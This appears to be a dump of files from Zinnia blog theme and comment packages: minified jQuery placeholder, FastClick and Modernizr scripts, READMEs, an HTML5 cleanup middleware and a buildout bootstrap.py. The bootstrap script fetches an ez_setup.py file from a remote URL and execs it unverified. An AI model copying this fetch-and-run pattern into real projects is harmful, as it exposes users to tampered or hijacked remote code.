code
stringlengths
501
5.19M
package
stringlengths
2
81
path
stringlengths
9
304
filename
stringlengths
4
145
!function(a,b,c){function d(a){var b={},d=/^jQuery\d+$/;return c.each(a.attributes,function(a,c){c.specified&&!d.test(c.name)&&(b[c.name]=c.value)}),b}function e(a,b){var d=this,e=c(d);if(d.value==e.attr("placeholder")&&e.hasClass("placeholder"))if(e.data("placeholder-password")){if(e=e.hide().next().show().attr("id",e.removeAttr("id").data("placeholder-id")),a===!0)return e[0].value=b;e.focus()}else d.value="",e.removeClass("placeholder"),d==g()&&d.select()}function f(){var a,b=this,f=c(b),g=this.id;if(""==b.value){if("password"==b.type){if(!f.data("placeholder-textinput")){try{a=f.clone().attr({type:"text"})}catch(h){a=c("<input>").attr(c.extend(d(this),{type:"text"}))}a.removeAttr("name").data({"placeholder-password":f,"placeholder-id":g}).bind("focus.placeholder",e),f.data({"placeholder-textinput":a,"placeholder-id":g}).before(a)}f=f.removeAttr("id").hide().prev().attr("id",g).show()}f.addClass("placeholder"),f[0].value=f.attr("placeholder")}else f.removeClass("placeholder")}function g(){try{return b.activeElement}catch(a){}}var h,i,j="[object OperaMini]"==Object.prototype.toString.call(a.operamini),k="placeholder"in b.createElement("input")&&!j,l="placeholder"in b.createElement("textarea")&&!j,m=c.fn,n=c.valHooks,o=c.propHooks;k&&l?(i=m.placeholder=function(){return this},i.input=i.textarea=!0):(i=m.placeholder=function(){var a=this;return a.filter((k?"textarea":":input")+"[placeholder]").not(".placeholder").bind({"focus.placeholder":e,"blur.placeholder":f}).data("placeholder-enabled",!0).trigger("blur.placeholder"),a},i.input=k,i.textarea=l,h={get:function(a){var b=c(a),d=b.data("placeholder-password");return d?d[0].value:b.data("placeholder-enabled")&&b.hasClass("placeholder")?"":a.value},set:function(a,b){var d=c(a),h=d.data("placeholder-password");return h?h[0].value=b:d.data("placeholder-enabled")?(""==b?(a.value=b,a!=g()&&f.call(a)):d.hasClass("placeholder")?e.call(a,!0,b)||(a.value=b):a.value=b,d):a.value=b}},k||(n.input=h,o.value=h),l||(n.textarea=h,o.value=h),c(function(){c(b).delegate("form","submit.placeholder",function(){var a=c(".placeholder",this).each(e);setTimeout(function(){a.each(f)},10)})}),c(a).bind("beforeunload.placeholder",function(){c(".placeholder").each(function(){this.value=""})}))}(this,document,jQuery);
zinnia-theme-foundation
/zinnia-theme-foundation-1.0.2.tar.gz/zinnia-theme-foundation-1.0.2/zinnia_foundation/static/zinnia/js/vendor/placeholder.js
placeholder.js
function FastClick(a,b){"use strict";function c(a,b){return function(){return a.apply(b,arguments)}}var d;if(b=b||{},this.trackingClick=!1,this.trackingClickStart=0,this.targetElement=null,this.touchStartX=0,this.touchStartY=0,this.lastTouchIdentifier=0,this.touchBoundary=b.touchBoundary||10,this.layer=a,this.tapDelay=b.tapDelay||200,!FastClick.notNeeded(a)){for(var e=["onMouse","onClick","onTouchStart","onTouchMove","onTouchEnd","onTouchCancel"],f=this,g=0,h=e.length;h>g;g++)f[e[g]]=c(f[e[g]],f);deviceIsAndroid&&(a.addEventListener("mouseover",this.onMouse,!0),a.addEventListener("mousedown",this.onMouse,!0),a.addEventListener("mouseup",this.onMouse,!0)),a.addEventListener("click",this.onClick,!0),a.addEventListener("touchstart",this.onTouchStart,!1),a.addEventListener("touchmove",this.onTouchMove,!1),a.addEventListener("touchend",this.onTouchEnd,!1),a.addEventListener("touchcancel",this.onTouchCancel,!1),Event.prototype.stopImmediatePropagation||(a.removeEventListener=function(b,c,d){var e=Node.prototype.removeEventListener;"click"===b?e.call(a,b,c.hijacked||c,d):e.call(a,b,c,d)},a.addEventListener=function(b,c,d){var e=Node.prototype.addEventListener;"click"===b?e.call(a,b,c.hijacked||(c.hijacked=function(a){a.propagationStopped||c(a)}),d):e.call(a,b,c,d)}),"function"==typeof a.onclick&&(d=a.onclick,a.addEventListener("click",function(a){d(a)},!1),a.onclick=null)}}var deviceIsAndroid=navigator.userAgent.indexOf("Android")>0,deviceIsIOS=/iP(ad|hone|od)/.test(navigator.userAgent),deviceIsIOS4=deviceIsIOS&&/OS 4_\d(_\d)?/.test(navigator.userAgent),deviceIsIOSWithBadTarget=deviceIsIOS&&/OS ([6-9]|\d{2})_\d/.test(navigator.userAgent),deviceIsBlackBerry10=navigator.userAgent.indexOf("BB10")>0;FastClick.prototype.needsClick=function(a){"use strict";switch(a.nodeName.toLowerCase()){case"button":case"select":case"textarea":if(a.disabled)return!0;break;case"input":if(deviceIsIOS&&"file"===a.type||a.disabled)return!0;break;case"label":case"video":return!0}return/\bneedsclick\b/.test(a.className)},FastClick.prototype.needsFocus=function(a){"use strict";switch(a.nodeName.toLowerCase()){case"textarea":return!0;case"select":return!deviceIsAndroid;case"input":switch(a.type){case"button":case"checkbox":case"file":case"image":case"radio":case"submit":return!1}return!a.disabled&&!a.readOnly;default:return/\bneedsfocus\b/.test(a.className)}},FastClick.prototype.sendClick=function(a,b){"use strict";var c,d;document.activeElement&&document.activeElement!==a&&document.activeElement.blur(),d=b.changedTouches[0],c=document.createEvent("MouseEvents"),c.initMouseEvent(this.determineEventType(a),!0,!0,window,1,d.screenX,d.screenY,d.clientX,d.clientY,!1,!1,!1,!1,0,null),c.forwardedTouchEvent=!0,a.dispatchEvent(c)},FastClick.prototype.determineEventType=function(a){"use strict";return deviceIsAndroid&&"select"===a.tagName.toLowerCase()?"mousedown":"click"},FastClick.prototype.focus=function(a){"use strict";var b;deviceIsIOS&&a.setSelectionRange&&0!==a.type.indexOf("date")&&"time"!==a.type?(b=a.value.length,a.setSelectionRange(b,b)):a.focus()},FastClick.prototype.updateScrollParent=function(a){"use strict";var b,c;if(b=a.fastClickScrollParent,!b||!b.contains(a)){c=a;do{if(c.scrollHeight>c.offsetHeight){b=c,a.fastClickScrollParent=c;break}c=c.parentElement}while(c)}b&&(b.fastClickLastScrollTop=b.scrollTop)},FastClick.prototype.getTargetElementFromEventTarget=function(a){"use strict";return a.nodeType===Node.TEXT_NODE?a.parentNode:a},FastClick.prototype.onTouchStart=function(a){"use strict";var b,c,d;if(a.targetTouches.length>1)return!0;if(b=this.getTargetElementFromEventTarget(a.target),c=a.targetTouches[0],deviceIsIOS){if(d=window.getSelection(),d.rangeCount&&!d.isCollapsed)return!0;if(!deviceIsIOS4){if(c.identifier&&c.identifier===this.lastTouchIdentifier)return a.preventDefault(),!1;this.lastTouchIdentifier=c.identifier,this.updateScrollParent(b)}}return this.trackingClick=!0,this.trackingClickStart=a.timeStamp,this.targetElement=b,this.touchStartX=c.pageX,this.touchStartY=c.pageY,a.timeStamp-this.lastClickTime<this.tapDelay&&a.preventDefault(),!0},FastClick.prototype.touchHasMoved=function(a){"use strict";var b=a.changedTouches[0],c=this.touchBoundary;return Math.abs(b.pageX-this.touchStartX)>c||Math.abs(b.pageY-this.touchStartY)>c?!0:!1},FastClick.prototype.onTouchMove=function(a){"use strict";return this.trackingClick?((this.targetElement!==this.getTargetElementFromEventTarget(a.target)||this.touchHasMoved(a))&&(this.trackingClick=!1,this.targetElement=null),!0):!0},FastClick.prototype.findControl=function(a){"use strict";return void 0!==a.control?a.control:a.htmlFor?document.getElementById(a.htmlFor):a.querySelector("button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea")},FastClick.prototype.onTouchEnd=function(a){"use strict";var b,c,d,e,f,g=this.targetElement;if(!this.trackingClick)return!0;if(a.timeStamp-this.lastClickTime<this.tapDelay)return this.cancelNextClick=!0,!0;if(this.cancelNextClick=!1,this.lastClickTime=a.timeStamp,c=this.trackingClickStart,this.trackingClick=!1,this.trackingClickStart=0,deviceIsIOSWithBadTarget&&(f=a.changedTouches[0],g=document.elementFromPoint(f.pageX-window.pageXOffset,f.pageY-window.pageYOffset)||g,g.fastClickScrollParent=this.targetElement.fastClickScrollParent),d=g.tagName.toLowerCase(),"label"===d){if(b=this.findControl(g)){if(this.focus(g),deviceIsAndroid)return!1;g=b}}else if(this.needsFocus(g))return a.timeStamp-c>100||deviceIsIOS&&window.top!==window&&"input"===d?(this.targetElement=null,!1):(this.focus(g),this.sendClick(g,a),deviceIsIOS&&"select"===d||(this.targetElement=null,a.preventDefault()),!1);return deviceIsIOS&&!deviceIsIOS4&&(e=g.fastClickScrollParent,e&&e.fastClickLastScrollTop!==e.scrollTop)?!0:(this.needsClick(g)||(a.preventDefault(),this.sendClick(g,a)),!1)},FastClick.prototype.onTouchCancel=function(){"use strict";this.trackingClick=!1,this.targetElement=null},FastClick.prototype.onMouse=function(a){"use strict";return this.targetElement?a.forwardedTouchEvent?!0:a.cancelable&&(!this.needsClick(this.targetElement)||this.cancelNextClick)?(a.stopImmediatePropagation?a.stopImmediatePropagation():a.propagationStopped=!0,a.stopPropagation(),a.preventDefault(),!1):!0:!0},FastClick.prototype.onClick=function(a){"use strict";var b;return this.trackingClick?(this.targetElement=null,this.trackingClick=!1,!0):"submit"===a.target.type&&0===a.detail?!0:(b=this.onMouse(a),b||(this.targetElement=null),b)},FastClick.prototype.destroy=function(){"use strict";var a=this.layer;deviceIsAndroid&&(a.removeEventListener("mouseover",this.onMouse,!0),a.removeEventListener("mousedown",this.onMouse,!0),a.removeEventListener("mouseup",this.onMouse,!0)),a.removeEventListener("click",this.onClick,!0),a.removeEventListener("touchstart",this.onTouchStart,!1),a.removeEventListener("touchmove",this.onTouchMove,!1),a.removeEventListener("touchend",this.onTouchEnd,!1),a.removeEventListener("touchcancel",this.onTouchCancel,!1)},FastClick.notNeeded=function(a){"use strict";var b,c,d;if("undefined"==typeof window.ontouchstart)return!0;if(c=+(/Chrome\/([0-9]+)/.exec(navigator.userAgent)||[,0])[1]){if(!deviceIsAndroid)return!0;if(b=document.querySelector("meta[name=viewport]")){if(-1!==b.content.indexOf("user-scalable=no"))return!0;if(c>31&&document.documentElement.scrollWidth<=window.outerWidth)return!0}}if(deviceIsBlackBerry10&&(d=navigator.userAgent.match(/Version\/([0-9]*)\.([0-9]*)/),d[1]>=10&&d[2]>=3&&(b=document.querySelector("meta[name=viewport]")))){if(-1!==b.content.indexOf("user-scalable=no"))return!0;if(document.documentElement.scrollWidth<=window.outerWidth)return!0}return"none"===a.style.msTouchAction?!0:!1},FastClick.attach=function(a,b){"use strict";return new FastClick(a,b)},"function"==typeof define&&"object"==typeof define.amd&&define.amd?define(function(){"use strict";return FastClick}):"undefined"!=typeof module&&module.exports?(module.exports=FastClick.attach,module.exports.FastClick=FastClick):window.FastClick=FastClick;
zinnia-theme-foundation
/zinnia-theme-foundation-1.0.2.tar.gz/zinnia-theme-foundation-1.0.2/zinnia_foundation/static/zinnia/js/vendor/fastclick.js
fastclick.js
window.Modernizr=function(a,b,c){function d(a){t.cssText=a}function e(a,b){return d(x.join(a+";")+(b||""))}function f(a,b){return typeof a===b}function g(a,b){return!!~(""+a).indexOf(b)}function h(a,b){for(var d in a){var e=a[d];if(!g(e,"-")&&t[e]!==c)return"pfx"==b?e:!0}return!1}function i(a,b,d){for(var e in a){var g=b[a[e]];if(g!==c)return d===!1?a[e]:f(g,"function")?g.bind(d||b):g}return!1}function j(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+z.join(d+" ")+d).split(" ");return f(b,"string")||f(b,"undefined")?h(e,b):(e=(a+" "+A.join(d+" ")+d).split(" "),i(e,b,c))}function k(){o.input=function(c){for(var d=0,e=c.length;e>d;d++)E[c[d]]=!!(c[d]in u);return E.list&&(E.list=!(!b.createElement("datalist")||!a.HTMLDataListElement)),E}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),o.inputtypes=function(a){for(var d,e,f,g=0,h=a.length;h>g;g++)u.setAttribute("type",e=a[g]),d="text"!==u.type,d&&(u.value=v,u.style.cssText="position:absolute;visibility:hidden;",/^range$/.test(e)&&u.style.WebkitAppearance!==c?(q.appendChild(u),f=b.defaultView,d=f.getComputedStyle&&"textfield"!==f.getComputedStyle(u,null).WebkitAppearance&&0!==u.offsetHeight,q.removeChild(u)):/^(search|tel)$/.test(e)||(d=/^(url|email)$/.test(e)?u.checkValidity&&u.checkValidity()===!1:u.value!=v)),D[a[g]]=!!d;return D}("search tel url email datetime date month week time datetime-local number range color".split(" "))}var l,m,n="2.8.3",o={},p=!0,q=b.documentElement,r="modernizr",s=b.createElement(r),t=s.style,u=b.createElement("input"),v=":)",w={}.toString,x=" -webkit- -moz- -o- -ms- ".split(" "),y="Webkit Moz O ms",z=y.split(" "),A=y.toLowerCase().split(" "),B={svg:"http://www.w3.org/2000/svg"},C={},D={},E={},F=[],G=F.slice,H=function(a,c,d,e){var f,g,h,i,j=b.createElement("div"),k=b.body,l=k||b.createElement("body");if(parseInt(d,10))for(;d--;)h=b.createElement("div"),h.id=e?e[d]:r+(d+1),j.appendChild(h);return f=["&#173;",'<style id="s',r,'">',a,"</style>"].join(""),j.id=r,(k?j:l).innerHTML+=f,l.appendChild(j),k||(l.style.background="",l.style.overflow="hidden",i=q.style.overflow,q.style.overflow="hidden",q.appendChild(l)),g=c(j,a),k?j.parentNode.removeChild(j):(l.parentNode.removeChild(l),q.style.overflow=i),!!g},I=function(b){var c=a.matchMedia||a.msMatchMedia;if(c)return c(b)&&c(b).matches||!1;var d;return H("@media "+b+" { #"+r+" { position: absolute; } }",function(b){d="absolute"==(a.getComputedStyle?getComputedStyle(b,null):b.currentStyle).position}),d},J=function(){function a(a,e){e=e||b.createElement(d[a]||"div"),a="on"+a;var g=a in e;return g||(e.setAttribute||(e=b.createElement("div")),e.setAttribute&&e.removeAttribute&&(e.setAttribute(a,""),g=f(e[a],"function"),f(e[a],"undefined")||(e[a]=c),e.removeAttribute(a))),e=null,g}var d={select:"input",change:"input",submit:"form",reset:"form",error:"img",load:"img",abort:"img"};return a}(),K={}.hasOwnProperty;m=f(K,"undefined")||f(K.call,"undefined")?function(a,b){return b in a&&f(a.constructor.prototype[b],"undefined")}:function(a,b){return K.call(a,b)},Function.prototype.bind||(Function.prototype.bind=function(a){var b=this;if("function"!=typeof b)throw new TypeError;var c=G.call(arguments,1),d=function(){if(this instanceof d){var e=function(){};e.prototype=b.prototype;var f=new e,g=b.apply(f,c.concat(G.call(arguments)));return Object(g)===g?g:f}return b.apply(a,c.concat(G.call(arguments)))};return d}),C.flexbox=function(){return j("flexWrap")},C.flexboxlegacy=function(){return j("boxDirection")},C.canvas=function(){var a=b.createElement("canvas");return!(!a.getContext||!a.getContext("2d"))},C.canvastext=function(){return!(!o.canvas||!f(b.createElement("canvas").getContext("2d").fillText,"function"))},C.webgl=function(){return!!a.WebGLRenderingContext},C.touch=function(){var c;return"ontouchstart"in a||a.DocumentTouch&&b instanceof DocumentTouch?c=!0:H(["@media (",x.join("touch-enabled),("),r,")","{#modernizr{top:9px;position:absolute}}"].join(""),function(a){c=9===a.offsetTop}),c},C.geolocation=function(){return"geolocation"in navigator},C.postmessage=function(){return!!a.postMessage},C.websqldatabase=function(){return!!a.openDatabase},C.indexedDB=function(){return!!j("indexedDB",a)},C.hashchange=function(){return J("hashchange",a)&&(b.documentMode===c||b.documentMode>7)},C.history=function(){return!(!a.history||!history.pushState)},C.draganddrop=function(){var a=b.createElement("div");return"draggable"in a||"ondragstart"in a&&"ondrop"in a},C.websockets=function(){return"WebSocket"in a||"MozWebSocket"in a},C.rgba=function(){return d("background-color:rgba(150,255,150,.5)"),g(t.backgroundColor,"rgba")},C.hsla=function(){return d("background-color:hsla(120,40%,100%,.5)"),g(t.backgroundColor,"rgba")||g(t.backgroundColor,"hsla")},C.multiplebgs=function(){return d("background:url(https://),url(https://),red url(https://)"),/(url\s*\(.*?){3}/.test(t.background)},C.backgroundsize=function(){return j("backgroundSize")},C.borderimage=function(){return j("borderImage")},C.borderradius=function(){return j("borderRadius")},C.boxshadow=function(){return j("boxShadow")},C.textshadow=function(){return""===b.createElement("div").style.textShadow},C.opacity=function(){return e("opacity:.55"),/^0.55$/.test(t.opacity)},C.cssanimations=function(){return j("animationName")},C.csscolumns=function(){return j("columnCount")},C.cssgradients=function(){var a="background-image:",b="gradient(linear,left top,right bottom,from(#9f9),to(white));",c="linear-gradient(left top,#9f9, white);";return d((a+"-webkit- ".split(" ").join(b+a)+x.join(c+a)).slice(0,-a.length)),g(t.backgroundImage,"gradient")},C.cssreflections=function(){return j("boxReflect")},C.csstransforms=function(){return!!j("transform")},C.csstransforms3d=function(){var a=!!j("perspective");return a&&"webkitPerspective"in q.style&&H("@media (transform-3d),(-webkit-transform-3d){#modernizr{left:9px;position:absolute;height:3px;}}",function(b){a=9===b.offsetLeft&&3===b.offsetHeight}),a},C.csstransitions=function(){return j("transition")},C.fontface=function(){var a;return H('@font-face {font-family:"font";src:url("https://")}',function(c,d){var e=b.getElementById("smodernizr"),f=e.sheet||e.styleSheet,g=f?f.cssRules&&f.cssRules[0]?f.cssRules[0].cssText:f.cssText||"":"";a=/src/i.test(g)&&0===g.indexOf(d.split(" ")[0])}),a},C.generatedcontent=function(){var a;return H(["#",r,"{font:0/0 a}#",r,':after{content:"',v,'";visibility:hidden;font:3px/1 a}'].join(""),function(b){a=b.offsetHeight>=3}),a},C.video=function(){var a=b.createElement("video"),c=!1;try{(c=!!a.canPlayType)&&(c=new Boolean(c),c.ogg=a.canPlayType('video/ogg; codecs="theora"').replace(/^no$/,""),c.h264=a.canPlayType('video/mp4; codecs="avc1.42E01E"').replace(/^no$/,""),c.webm=a.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/,""))}catch(d){}return c},C.audio=function(){var a=b.createElement("audio"),c=!1;try{(c=!!a.canPlayType)&&(c=new Boolean(c),c.ogg=a.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/,""),c.mp3=a.canPlayType("audio/mpeg;").replace(/^no$/,""),c.wav=a.canPlayType('audio/wav; codecs="1"').replace(/^no$/,""),c.m4a=(a.canPlayType("audio/x-m4a;")||a.canPlayType("audio/aac;")).replace(/^no$/,""))}catch(d){}return c},C.localstorage=function(){try{return localStorage.setItem(r,r),localStorage.removeItem(r),!0}catch(a){return!1}},C.sessionstorage=function(){try{return sessionStorage.setItem(r,r),sessionStorage.removeItem(r),!0}catch(a){return!1}},C.webworkers=function(){return!!a.Worker},C.applicationcache=function(){return!!a.applicationCache},C.svg=function(){return!!b.createElementNS&&!!b.createElementNS(B.svg,"svg").createSVGRect},C.inlinesvg=function(){var a=b.createElement("div");return a.innerHTML="<svg/>",(a.firstChild&&a.firstChild.namespaceURI)==B.svg},C.smil=function(){return!!b.createElementNS&&/SVGAnimate/.test(w.call(b.createElementNS(B.svg,"animate")))},C.svgclippaths=function(){return!!b.createElementNS&&/SVGClipPath/.test(w.call(b.createElementNS(B.svg,"clipPath")))};for(var L in C)m(C,L)&&(l=L.toLowerCase(),o[l]=C[L](),F.push((o[l]?"":"no-")+l));return o.input||k(),o.addTest=function(a,b){if("object"==typeof a)for(var d in a)m(a,d)&&o.addTest(d,a[d]);else{if(a=a.toLowerCase(),o[a]!==c)return o;b="function"==typeof b?b():b,"undefined"!=typeof p&&p&&(q.className+=" "+(b?"":"no-")+a),o[a]=b}return o},d(""),s=u=null,function(a,b){function c(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function d(){var a=s.elements;return"string"==typeof a?a.split(" "):a}function e(a){var b=r[a[p]];return b||(b={},q++,a[p]=q,r[q]=b),b}function f(a,c,d){if(c||(c=b),k)return c.createElement(a);d||(d=e(c));var f;return f=d.cache[a]?d.cache[a].cloneNode():o.test(a)?(d.cache[a]=d.createElem(a)).cloneNode():d.createElem(a),!f.canHaveChildren||n.test(a)||f.tagUrn?f:d.frag.appendChild(f)}function g(a,c){if(a||(a=b),k)return a.createDocumentFragment();c=c||e(a);for(var f=c.frag.cloneNode(),g=0,h=d(),i=h.length;i>g;g++)f.createElement(h[g]);return f}function h(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return s.shivMethods?f(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+d().join().replace(/[\w\-]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(s,b.frag)}function i(a){a||(a=b);var d=e(a);return!s.shivCSS||j||d.hasCSS||(d.hasCSS=!!c(a,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),k||h(a,d),a}var j,k,l="3.7.0",m=a.html5||{},n=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,o=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,p="_html5shiv",q=0,r={};!function(){try{var a=b.createElement("a");a.innerHTML="<xyz></xyz>",j="hidden"in a,k=1==a.childNodes.length||function(){b.createElement("a");var a=b.createDocumentFragment();return"undefined"==typeof a.cloneNode||"undefined"==typeof a.createDocumentFragment||"undefined"==typeof a.createElement}()}catch(c){j=!0,k=!0}}();var s={elements:m.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:l,shivCSS:m.shivCSS!==!1,supportsUnknownElements:k,shivMethods:m.shivMethods!==!1,type:"default",shivDocument:i,createElement:f,createDocumentFragment:g};a.html5=s,i(b)}(this,b),o._version=n,o._prefixes=x,o._domPrefixes=A,o._cssomPrefixes=z,o.mq=I,o.hasEvent=J,o.testProp=function(a){return h([a])},o.testAllProps=j,o.testStyles=H,o.prefixed=function(a,b,c){return b?j(a,b,c):j(a,"pfx")},q.className=q.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(p?" js "+F.join(" "):""),o}(this,this.document);
zinnia-theme-foundation
/zinnia-theme-foundation-1.0.2.tar.gz/zinnia-theme-foundation-1.0.2/zinnia_foundation/static/zinnia/js/vendor/modernizr.js
modernizr.js
================== Zinnia-theme-html5 ================== Zinnia-theme-html5 is a python package providing HTML5 templates for `django-blog-zinnia`_. Installation ============ First of all you need to install and configure `django-app-namespace-template-loader`_ into your project. Then once `Zinnia is installed`_ on your Django project and this package installed on your `PYTHON_PATH`, simply register the `zinnia_html5` application in the `INSTALLED_APP` section of your project's settings. Now Zinnia is HTML5 ready. .. warning:: * `zinnia_html5` must be registered before the `zinnia` app to bypass the loading of the Zinnia's templates. * You need to use the ``django.template.loaders.eggs.Loader`` template loader if you have installed the package as an egg. HTML5 Validation ================ If you want to have strict HTML5 documents and pass the validation tests you must register the ``DraftHTML5ValidatorCleaner`` middleware to clean the templates of the not already supported attributes or relationships. :: MIDDLEWARE_CLASSES = ( ... # Your middlewares 'zinnia_html5.middleware.DraftHTML5ValidatorCleaner', ) The problem is that HTML5 is still in draft, and some microformats are not already allowed by the on-line validators. Instead of rewriting all the Zinnia's templates it's easier to add this middleware and disable it when the HTML5 specifications will be completed and the on-line HTML5 validators up-to-date. .. note:: You need to install the `beautifulsoup4`_ and `html5lib`_ packages for using this middleware. .. _`django-blog-zinnia`: http://www.django-blog-zinnia.com/ .. _`django-app-namespace-template-loader`: https://github.com/Fantomas42/django-app-namespace-template-loader .. _`Zinnia is installed`: http://docs.django-blog-zinnia.com/en/latest/getting-started/install.html .. _`beautifulsoup4`: http://pypi.python.org/pypi/beautifulsoup4 .. _`html5lib`: http://pypi.python.org/pypi/html5lib
zinnia-theme-html5
/zinnia-theme-html5-0.4.tar.gz/zinnia-theme-html5-0.4/README.rst
README.rst
import os import shutil import sys import tempfile from optparse import OptionParser tmpeggs = tempfile.mkdtemp() usage = '''\ [DESIRED PYTHON FOR BUILDOUT] bootstrap.py [options] Bootstraps a buildout-based project. Simply run this script in a directory containing a buildout.cfg, using the Python that you want bin/buildout to use. Note that by using --find-links to point to local resources, you can keep this script from going over the network. ''' parser = OptionParser(usage=usage) parser.add_option("-v", "--version", help="use a specific zc.buildout version") parser.add_option("-t", "--accept-buildout-test-releases", dest='accept_buildout_test_releases', action="store_true", default=False, help=("Normally, if you do not specify a --version, the " "bootstrap script and buildout gets the newest " "*final* versions of zc.buildout and its recipes and " "extensions for you. If you use this flag, " "bootstrap and buildout will get the newest releases " "even if they are alphas or betas.")) parser.add_option("-c", "--config-file", help=("Specify the path to the buildout configuration " "file to be used.")) parser.add_option("-f", "--find-links", help=("Specify a URL to search for buildout releases")) options, args = parser.parse_args() ###################################################################### # load/install setuptools to_reload = False try: import pkg_resources import setuptools except ImportError: ez = {} try: from urllib.request import urlopen except ImportError: from urllib2 import urlopen # XXX use a more permanent ez_setup.py URL when available. exec(urlopen('https://bitbucket.org/pypa/setuptools/raw/0.7.2/ez_setup.py' ).read(), ez) setup_args = dict(to_dir=tmpeggs, download_delay=0) ez['use_setuptools'](**setup_args) if to_reload: reload(pkg_resources) import pkg_resources # This does not (always?) update the default working set. We will # do it. for path in sys.path: if path not in pkg_resources.working_set.entries: pkg_resources.working_set.add_entry(path) ###################################################################### # Install buildout ws = pkg_resources.working_set cmd = [sys.executable, '-c', 'from setuptools.command.easy_install import main; main()', '-mZqNxd', tmpeggs] find_links = os.environ.get( 'bootstrap-testing-find-links', options.find_links or ('http://downloads.buildout.org/' if options.accept_buildout_test_releases else None) ) if find_links: cmd.extend(['-f', find_links]) setuptools_path = ws.find( pkg_resources.Requirement.parse('setuptools')).location requirement = 'zc.buildout' version = options.version if version is None and not options.accept_buildout_test_releases: # Figure out the most recent final version of zc.buildout. import setuptools.package_index _final_parts = '*final-', '*final' def _final_version(parsed_version): for part in parsed_version: if (part[:1] == '*') and (part not in _final_parts): return False return True index = setuptools.package_index.PackageIndex( search_path=[setuptools_path]) if find_links: index.add_find_links((find_links,)) req = pkg_resources.Requirement.parse(requirement) if index.obtain(req) is not None: best = [] bestv = None for dist in index[req.project_name]: distv = dist.parsed_version if _final_version(distv): if bestv is None or distv > bestv: best = [dist] bestv = distv elif distv == bestv: best.append(dist) if best: best.sort() version = best[-1].version if version: requirement = '=='.join((requirement, version)) cmd.append(requirement) import subprocess if subprocess.call(cmd, env=dict(os.environ, PYTHONPATH=setuptools_path)) != 0: raise Exception( "Failed to execute command:\n%s", repr(cmd)[1:-1]) ###################################################################### # Import and run buildout ws.add_entry(tmpeggs) ws.require(requirement) import zc.buildout.buildout if not [a for a in args if '=' not in a]: args.append('bootstrap') # if -c was provided, we push it back into args for buildout' main function if options.config_file is not None: args[0:0] = ['-c', options.config_file] zc.buildout.buildout.main(args) shutil.rmtree(tmpeggs)
zinnia-theme-html5
/zinnia-theme-html5-0.4.tar.gz/zinnia-theme-html5-0.4/bootstrap.py
bootstrap.py
import re from bs4 import BeautifulSoup from django.utils.encoding import smart_str INVALID_A_RELS = re.compile(r'(shortlink|archives|trackback)') class DraftHTML5ValidatorCleaner(object): """ This Middleware only exists for providing a strict compliance with HTML5 validators. The problem is that HTML5 is still in draft, and some microformats are not already allowed by the on-line validators. Instead of rewriting all the Zinnia's templates, it's easier to add this middleware and disable it when the HTML5 specifications will be completed and the on-line HTML5 validators up-to-date. So the HTML response will be cleaned of the unsupported attributes provided by Zinnia and expected for a Weblog app. """ def remove_a_rel(self, soup): tags = soup.find_all('a', rel=INVALID_A_RELS) for t in tags: del t['rel'] self.update_content = True def change_a_rel_tag_category(self, soup): tags = soup.find_all('a', rel='tag category') for t in tags: t['rel'] = 'tag' self.update_content = True def change_link_archives(self, soup): tags = soup.find_all('link', rel='archives') for t in tags: t['rel'] = 'alternate' self.update_content = True def remove_pubdate(self, soup): tags = soup.find_all(pubdate=True) for t in tags: del t['pubdate'] self.update_content = True def process_response(self, request, response): if (not response.status_code == 200 or not '<html' in response.content): return response self.update_content = False soup = BeautifulSoup(smart_str(response.content), "html5lib") self.remove_pubdate(soup) self.remove_a_rel(soup) self.change_link_archives(soup) self.change_a_rel_tag_category(soup) if self.update_content: response.content = str(soup) return response
zinnia-theme-html5
/zinnia-theme-html5-0.4.tar.gz/zinnia-theme-html5-0.4/zinnia_html5/middleware.py
middleware.py
======================== Zinnia-threaded-comments ======================== Zinnia-threaded-comments is a python package providing threaded comments for `django-blog-zinnia`_ based on `django-contrib-comments`_. Installation ============ First of all you need to install and configure `django-app-namespace-template-loader`_ into your project. Then once `Zinnia is installed`_ on your Django project and this package installed on your `PYTHON_PATH`, simply register the ``zinnia_threaded_comments`` application in the ``INSTALLED_APP`` section of your project's settings and then register ``zinnia_threaded_comments`` as the ``COMMENTS_APP``. Now Zinnia can handle threaded comments. .. warning:: `zinnia_threaded_comments` must be registered before the `zinnia` app to bypass the loading of the Zinnia's templates. Protip ====== If you plan to customise the default template of an entry with the threaded comments, create in your project a ``zinnia/entry_detail.html`` template starting with: :: {% extends "zinnia/entry_detail_base.html" %} By doing this you don't have to reimplement the template logic provided by the app, and just have to customize the needed blocks. Going further ============= More informations about customizations of the comments framework at: http://django-contrib-comments.readthedocs.org/en/latest/custom.html .. _`django-blog-zinnia`: http://www.django-blog-zinnia.com/ .. _`django-contrib-comments`: https://github.com/django/django-contrib-comments .. _`django-app-namespace-template-loader`: https://github.com/Fantomas42/django-app-namespace-template-loader .. _`Zinnia is installed`: http://docs.django-blog-zinnia.com/en/latest/getting-started/install.html
zinnia-threaded-comments
/zinnia-threaded-comments-0.4.tar.gz/zinnia-threaded-comments-0.4/README.rst
README.rst
